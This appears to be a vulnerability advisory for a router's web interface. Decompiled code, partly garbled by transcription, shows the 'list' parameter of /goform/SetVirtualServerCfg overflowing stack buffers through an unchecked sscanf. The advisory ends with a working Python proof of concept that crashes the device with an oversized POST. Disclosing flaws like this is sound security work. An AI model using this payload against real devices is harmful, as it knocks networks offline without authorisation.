

```
5
    V3[0] = 0;
6
    V3[1] = 0;
7
    V3[2] = 0;
    V3[3] = 0;
8
    blob buf init((int)v3. 0);
9
    sub 42DB88((int)a1, (int)v3);
10
    tapi_set_virtualsrv(v∋[0]);
11
    blob buf free(v3);
12
    sub 415368((int)a1, (int)"HTTP/1.0 200 OK\r\n\r\n");
13
    sub 415368((int)a1, (int)"{\"errCode\":%d}");
14
    http request(a1, 200);
15
```

In the sub_42DB88 function:

```
19 V10[0] = 0;
120 \quad V10[1] = 0;
| 21 | V11[0] = 0;
|22| v11[1] = 0;
v3 = WebGetVar(a1, (int)"list", "");
     printf("get_route_info_wp list:%s\n", v3);
24
     if ( (unsigned int)strlen(v3) < 5 )</pre>
25
26
       return -1;
27
     while (1)
 28
     {
      v4 = (_BYTE *)strchr(v3, '~');
29
30
      v5 = v4 + 1;
       if (!v4)
31
32
       break;
       *v4 = 0;
33
       if ( sscanf(v3, "%[^,],%[^,],%s", v12, v11, v10, v9) == 4 )
34
 35
36
         v8 = blob nest start(a2, 0);
37
         printf(
 38
           "get virtual srv wp net:%s dport:%s sport:%s proto:%s \n",
 39
           (const char *)v12,
           (const char *)v11,
 40
```

The v3 variable is obtained directly from the http request parameter list.

Then v3 will be splice to stack by function sscanf without any security check, which causes stack overflow.

So by POSTing the page /goform/SetVirtualServerCfg with long list, the attacker can easily perform a Denial of Service(DoS).

POC

```
Poc of Denial of Service(DoS):

import requests

url = "http://192.168.0.1/goform/SetVirtualServerCfg"
list_data = 'a'*0x1000 + '~'

r = requests.post(url, data={'list': list_data})
print(r.content)
```